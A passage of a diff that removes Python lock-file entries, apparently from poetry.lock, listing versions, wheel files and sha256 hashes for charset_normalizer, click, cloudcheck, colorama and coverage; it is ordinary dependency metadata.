"charset_normalizer-3.4.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cd09d08005f958f370f539f186d10aec3377d55b9eeb0d796025d4886119d76e"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4fe7859a4e3e8457458e2ff592f15ccb02f3da787fcd31e0183879c3ad4692a1"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa09f53c465e532f4d3db095e0c55b615f010ad81803d383195b6b5ca6cbf5f3"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7fa17817dc5625de8a027cb8b26d9fefa3ea28c8253929b8d6649e705d2835b6"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:5947809c8a2417be3267efc979c47d76a079758166f7d43ef5ae8e9f92751f88"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:4902828217069c3c5c71094537a8e623f5d097858ac6ca8252f7b4d10b7560f1"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:7c308f7e26e4363d79df40ca5b2be1c6ba9f02bdbccfed5abddb7859a6ce72cf"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2c9d3c380143a1fedbff95a312aa798578371eb29da42106a29019368a475318"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:cb01158d8b88ee68f15949894ccc6712278243d95f344770fa7593fa2d94410c"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-win32.whl", hash = "sha256:2677acec1a2f8ef614c6888b5b4ae4060cc184174a938ed4e8ef690e15d3e505"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-win_amd64.whl", hash = "sha256:f8e160feb2aed042cd657a72acc0b481212ed28b1b9a95c0cee1621b524e1966"}, - {file = "charset_normalizer-3.4.4-cp39-cp39-win_arm64.whl", hash = "sha256:b5d84d37db046c5ca74ee7bb47dd6cbc13f80665fdde3e8040bdd3fb015ecb50"}, - {file = "charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f"}, - {file = "charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a"}, -] - -[[package]] -name = "click" -version = "8.3.1" -description = "Composable command line interface toolkit" -optional = false -python-versions = ">=3.10" -groups = ["dev", "docs"] -files = [ - {file = "click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6"}, - {file = "click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a"}, -] - -[package.dependencies] -colorama = {version = "*", markers = "platform_system == \"Windows\""} - -[[package]] -name = "cloudcheck" -version = "9.3.0" -description = "Detailed database of cloud providers. Instantly look up a domain or IP address" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59199ed17b14ca87220ad4b13ca38999a36826a63fc3a86f6274289c3247bddb"}, - {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5e9f3b13eafafde34be9f1ca2aca897f6bbaf955c04144e42c3877228b3569f3"}, - {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3e6aeea4742501dde2b7815877a925da0b1463e51ebae819b5868f46ceb68024"}, - {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e7bd368a8417e67a7313f276429d1fcf3f4fb2ee6604e4e708ac65112f22aac5"}, - {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c9722d5dafcbb56152c0fd32d19573e5dd91d6f6d07981d0ef0fca9ae47900eb"}, - {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b83396008638a6efd631b25b435f31b758732fae97beb5fef5fa1997619ede0d"}, - {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:43d38b7195929e19287bf7e9c0155b8dd3cafaebddc642d31b96629c05d775c0"}, - {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ee2c52294285087b5f65715cdd8fc97358cce25af88ed265c1a39c9ac407cb2c"}, - {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:07e8dba045fc365f316849d4caac8c06886c5eb602fc9239067822c0ef6a8737"}, - {file = "cloudcheck-9.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:3b88fb61d8242ef1801d61177849a168a6427b4b113e5d2f4787c428a862a113"}, - {file = "cloudcheck-9.3.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:e765635136318808997deb3e633a35cde914479003321de21654a0f1b03b8820"}, - {file = "cloudcheck-9.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e275ee18f4991e50476971de5986fe42dc9180e66fd04f853d1c1adf4457379b"}, - {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4e8b26d6f57c8c4a95491235ebe31ece0d24c33c18e1226293cc47437b6b4d3"}, - {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1f61946050445be504dd9a2875fc15109d24d99f79b8925b2a8babaa62079ca2"}, - {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d2f08ad1719d485d4049c6ad4c2867b979f9f2d8002459baf7b6f8e364ec6b78"}, - {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:51bc6c167bb0be90933f0c5907a4d3a82d23a02bb71aaab378fd8d6b76eac585"}, - {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f5322e9aaf54e9d664436a305067976b7c1cff50a7dd2648f593bb4f02bfea9a"}, - {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:9be898d7a98105f25e292c6f958ad862c5915c95c1628dc6dcdf7c9f9db404fd"}, - {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:51d3ee8c28efc9fc69122cfbec0b1dfc72469d905227f4cccaee490b8c725b88"}, - {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:becc2a61d07b8364280f33fc5540ddaf6c9d96f50ac5b1de0922036a76c685af"}, - {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:158e34819223485ed365a2f4f98b17029591a895869739afd9c5d64bfea68a09"}, - {file = "cloudcheck-9.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:b33bf641c96b03513c508dac40e0042dd260ae9c4ae4bcdfcbef92a91d5e4dc3"}, - {file = "cloudcheck-9.3.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:4ce814065be3f6341b63d0a34e1a8fbfcd294f911d2eef87c421f0ddb21f7c93"}, - {file = "cloudcheck-9.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:60be463311be5d4525acce03aff8795c8eebb30bea4da1a5451a468812a134c7"}, - {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:56cb382f9da19fe24b300cdbb10aa44d14577d7cd5b20ff6ebc0fe0bad3b8e29"}, - {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:da69db51d1c3b4a87a519d301f742ac52f355071a2f1acbbc65e4fc3ac7f314d"}, - {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68ae114b27342d0fe265aee543c154a1458be6dfea4aa9f49038870c6ede45ad"}, - {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5c71932bb407e1c39f275ef0d9cc0cf20f88fd1fac259b35641db91e9618b36"}, - {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c90d96a4d414e2f418ed6fbd39a93550de8e51c55788673a46410f020916616e"}, - {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9aedfac28ff9994c1dde5d89bba7d9a263c7d1e3a934ed62a8ae3ed48e851fb6"}, - {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:36d9afdd811998cbaebd3638e142453b2d82d5b6aeb0bfb6a41582cb9962ea4a"}, - {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:ac1ff7eefaf892a67f8fad7a651a07ad530faddd9c5848261dc53a3a331045c6"}, - {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ee329c0996ebf0e245581a0707e5ee828fed5b761bdcd69577bc4ab4808a29d7"}, - {file = "cloudcheck-9.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:cfc70425ba37fae7a44a66a3833ef994b99f039c5a621f523852f61b6eb320c7"}, - {file = "cloudcheck-9.3.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:ed2e9171a41786f2454902b209fe999146dc2991c1d7d0ed68fe86bbb177552a"}, - {file = "cloudcheck-9.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1651903604090d5f4dc671c243383e87cd0ab53d7a34d4e7887d82e9f2077a28"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:05ec385d95adef0a420a51a1df97d17b6c29d3030b2f2b1ffca5de1ea85ee7a5"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c477506721b87d7e0a6a13386bd57feb5ab1615cbcdd9d62971640df24ba70cc"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a996011efef6af71f2f712fbe9bc9fefd49216c0dffc648528abd329f6003a0"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:af152cf8e1b2a845db3412b131d6c8c6964cff161aad9500b56bd383ec028936"}, - {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:359e7c66015d3245d636ce03aa527bf6d69c2e0f72278857a2b51e9673df9904"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7a8138b78e7a49814ef6bf56f0de9b35c1e53473fd83cabb451db3e740ab5e83"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:22f3645c1eb67a3489c7ebbfef4eb3c1f39187ab54a5d61703cb26df8b477d38"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:78b2f7d8235f9d5fe2d3670c125769c65b94cca1e0170d682069bb478b20ffc8"}, - {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:360b80aad144c2fbf8cf251587af714f51d58b02e76593d60da40b20a6ba6140"}, - {file = "cloudcheck-9.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:d623b523de9d24297fc6d337302e12faf8ead6c5ab17bcbf39cbed1ec7f7abe1"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2033d75451653babb908394f00a78ead9cb66481f7ca88f957b74fdff050a0b9"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b504627920b80cc4695b881a1e58be109abdc482be8202865d11c028865ff7e3"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0edb7e05e289852ca026cfa97fea8c86d369a3a6a061edeaf47939a31c745cc2"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:99509b9cefc95cff71bb0cda4651ec3b931202512c41583940e471038cb0f288"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:138e6578db91123a2aafc21a7ee89d302ceec49891b1257364832cd9a4f5ad62"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:4058bbda0b578853288af0bb58de52257cfcafd40b8609a199d5d2b71ec773d9"}, - {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8eb3e1af683f327f0eb7dbe1fc93fb07d271b69e0045540d566830fae7855dab"}, - {file = "cloudcheck-9.3.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:b4415fd866000257dae58d9b5ab58fb2c95225b65e770f3badee33d3ae4c2989"}, - {file = "cloudcheck-9.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:530874ef87665d6e14b4756b85b95a4c27916804a6778125851b49203ae037c4"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d37ed257e26a21389b99b1c7ad414c3d24b56eab21686a549f8ebf2bdc1dd48"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e3fcb7b0332656c9166bc09977559bad260df9dcb6bcac3baa980842c2017a4"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:89347b3e458262119a7f94d5ff2e0d535996a6dd7b501a222a28b8b235379e40"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:252fd606307b4a039b34ff928d482302b323217d92b94eadc9019c81f1231e61"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86a9b96fcd645e028980db0e25482b1af13300c5e4e76fcd6707adffd9552220"}, - {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:c055966a04d21b4728e525633d7f0ff5713b76bac9024679ab20ff2e8050e5ba"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:3171964cb5e204d17192cf12b79210b0f36457786af187c89407eae297f015fe"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:4fdb2cb2727f40e5e4d66a3c43895f0892c72f9615142a190271d9b91dc634c5"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:fa2352c765342aefa2c0e6a75093efb75fafaab51f86e36c4b32849e0ef18ee8"}, - {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:146c545702267071e1a375d8ca8bbd7a4fa5e0f87ac6adfd13fc8835bb3d2bc7"}, - {file = "cloudcheck-9.3.0-cp314-cp314-win32.whl", hash = "sha256:a95b840efe2616231c99a9ef5be4e8484b880af5e3e9eeab81bf473cbee70088"}, - {file = "cloudcheck-9.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:9d631e21b3945615739f7862e1e378b2f3f43d4409a62bc657e858762f83ac67"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:681ef11beeebfbf6205b0e05a6d151943a533e6e6124f0399b9128692b350c63"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f96f1ebc2b30c7c790b62f1a7c13909230502c457b445cd96d1803c4434da6bb"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5895e5dd24a3e9f1d3412e15ff96fdd0a6f58d0a1ea192deba6f02926331054"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8407b08b382a6bcb23ab77ce3a12dfdf075feff418c911f7a385701a20b8df34"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:4dab2a77055204e014c31cf7466f23687612de66579b81e3c18c00d3eeaa526b"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:68088d71a16ac55390ec53240642b3cf26f98692035e1ed425a3c35144ca1f26"}, - {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5615d361881b15f36afd88136bc5af221ff1794b18c49616411c32578a69de28"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d93616c9d1651c5fc76aeafeb5fe854ea99a2a3c72b5cfc658c852f73e0adef7"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9d2fcdce20139ade4aedfce08d8bbab036178ce0bd3e3eb7402e01d98662d84e"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac36685a49614deec545d2048015c3f0998777df3678a09e865dade3f0157fc4"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8820f6ba9fe3ecd13b52600b4784e09a9f8c39e0a625d5c1365d5a362996bd13"}, - {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7497131e592ab84f817ebe47cce604653f32d764bb28bf44cd69f7b4d8a9e004"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3d77f037d0149d839e5d642f7ecdc83db686031081a006695eed74bb958baf09"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:47b591ef041ed9e333af98f186e3ce56f8c486e1fc91afb1a3633d43f28e34b8"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3e48a176278b6e75638502a64b90b3ee9bba6a198c229ba8f1485e9eed527d20"}, - {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b1d52f55834bf34bb75d0934ef60046e7ee584db09b2e269ef9170e73f8ddd45"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee5e5b240d39c14829576b841411d6a4dd867c1c1d4f23e5aadf910151b25ed1"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d5fe3f4e1fef0a83ffd2bfa2d4aa8b4c83aea2c7116fb83e75dcf82780aeb5dd"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:39ec7ebae9a8a1ec42d5ec047d0506584576aa1cb32d7d4c3fff5db241844ebe"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92eb00480d651e8ee7d922005804dcc10a30d05e8a1feb7d49d93e11dd7b7b82"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0befb18f1b563985c68ce3aae0d58363939af66e13a15f0defbab1a2bd512459"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:66940758bf97c40db14c1f7457ece633503a91803191c84742f3a938b5fbc9d8"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:5d97d3ecd2917b75b518766281be408253f6f59a2d09db54f7ecf9d847c6de3a"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:f593b1a400f8b0ec3995b56126efb001729b46bac4c76d6d2399e8ab62e49515"}, - {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:4854fc0aa88ec38275f0c2f8057803c1c37eec93d9f4c5e9f0e0a5b38fd6604f"}, - {file = "cloudcheck-9.3.0.tar.gz", hash = "sha256:e4f92690f84b176395d01a0694263d8edb0f8fd3a63100757376b7810879e6f5"}, -] - -[[package]] -name = "colorama" -version = "0.4.6" -description = "Cross-platform colored terminal text." -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["dev", "docs"] -files = [ - {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, - {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, -] -markers = {dev = "sys_platform == \"win32\" or platform_system == \"Windows\""} - -[[package]] -name = "coverage" -version = "7.13.4" -description = "Code coverage measurement for Python" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "coverage-7.13.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0fc31c787a84f8cd6027eba44010517020e0d18487064cd3d8968941856d1415"}, - {file = "coverage-7.13.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a32ebc02a1805adf637fc8dec324b5cdacd2e493515424f70ee33799573d661b"}, - {file = "coverage-7.13.4-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e24f9156097ff9dc286f2f913df3a7f63c0e333dcafa3c196f2c18b4175ca09a"}, - {file = "coverage-7.13.4-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8041b6c5bfdc03257666e9881d33b1abc88daccaf73f7b6340fb7946655cd10f"}, - {file = "coverage-7.13.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a09cfa6a5862bc2fc6ca7c3def5b2926194a56b8ab78ffcf617d28911123012"}, - {file = "coverage-7.13.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:296f8b0af861d3970c2a4d8c91d48eb4dd4771bcef9baedec6a9b515d7de3def"}, - {file = "coverage-7.13.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e101609bcbbfb04605ea1027b10dc3735c094d12d40826a60f897b98b1c30256"}, - {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aa3feb8db2e87ff5e6d00d7e1480ae241876286691265657b500886c98f38bda"}, - {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4fc7fa81bbaf5a02801b65346c8b3e657f1d93763e58c0abdf7c992addd81a92"}, - {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:33901f604424145c6e9c2398684b92e176c0b12df77d52db81c20abd48c3794c"}, - {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:bb28c0f2cf2782508a40cec377935829d5fcc3ad9a3681375af4e84eb34b6b58"}, - {file = "coverage-7.13.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9d107aff57a83222ddbd8d9ee705ede2af2cc926608b57abed8ef96b50b7e8f9"}, - {file = "coverage-7.13.4-cp310-cp310-win32.whl", hash = "sha256:a6f94a7d00eb18f1b6d403c91a88fd58cfc92d4b16080dfdb774afc8294469bf"}, - {file = "coverage-7.13.4-cp310-cp310-win_amd64.whl", hash = "sha256:2cb0f1e000ebc419632bbe04366a8990b6e32c4e0b51543a6484ffe15eaeda95"}, - {file = "coverage-7.13.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d490ba50c3f35dd7c17953c68f3270e7ccd1c6642e2d2afe2d8e720b98f5a053"}, - {file = "coverage-7.13.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:19bc3c88078789f8ef36acb014d7241961dbf883fd2533d18cb1e7a5b4e28b11"}, - {file = "coverage-7.13.4-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3998e5a32e62fdf410c0dbd3115df86297995d6e3429af80b8798aad894ca7aa"}, - {file = "coverage-7.13.4-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e264226ec98e01a8e1054314af91ee6cde0eacac4f465cc93b03dbe0bce2fd7"}, - {file = "coverage-7.13.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a3aa4e7b9e416774b21797365b358a6e827ffadaaca81b69ee02946852449f00"}, - {file = "coverage-7.13.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:71ca20079dd8f27fcf808817e281e90220475cd75115162218d0e27549f95fef"}, - {file = "coverage-7.13.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e2f25215f1a359ab17320b47bcdaca3e6e6356652e8256f2441e4ef972052903"}, - {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d65b2d373032411e86960604dc4edac91fdfb5dca539461cf2cbe78327d1e64f"}, - {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94eb63f9b363180aff17de3e7c8760c3ba94664ea2695c52f10111244d16a299"}, - {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e856bf6616714c3a9fbc270ab54103f4e685ba236fa98c054e8f87f266c93505"}, - {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:65dfcbe305c3dfe658492df2d85259e0d79ead4177f9ae724b6fb245198f55d6"}, - {file = "coverage-7.13.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b507778ae8a4c915436ed5c2e05b4a6cecfa70f734e19c22a005152a11c7b6a9"}, - {file = "coverage-7.13.4-cp311-cp311-win32.whl", hash = "sha256:784fc3cf8be001197b652d51d3fd259b1e2262888693a4636e18879f613a62a9"}, - {file = "coverage-7.13.4-cp311-cp311-win_amd64.whl", hash = "sha256:2421d591f8ca05b308cf0092807308b2facbefe54af7c02ac22548b88b95c98f"}, - {file = "coverage-7.13.4-cp311-cp311-win_arm64.whl", hash = "sha256:79e73a76b854d9c6088fe5d8b2ebe745f8681c55f7397c3c0a016192d681045f"}, - {file = "coverage-7.13.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:02231499b08dabbe2b96612993e5fc34217cdae907a51b906ac7fca8027a4459"}, - {file = "coverage-7.13.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40aa8808140e55dc022b15d8aa7f651b6b3d68b365ea0398f1441e0b04d859c3"}, - {file = "coverage-7.13.4-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5b856a8ccf749480024ff3bd7310adaef57bf31fd17e1bfc404b7940b6986634"}, - {file = "coverage-7.13.4-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c048ea43875fbf8b45d476ad79f179809c590ec7b79e2035c662e7afa3192e3"}, - {file = "coverage-7.13.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b7b38448866e83176e28086674fe7368ab8590e4610fb662b44e345b86d63ffa"}, - {file = "coverage-7.13.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:de6defc1c9badbf8b9e67ae90fd00519186d6ab64e5cc5f3d21359c2a9b2c1d3"}, - {file = "coverage-7.13.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = 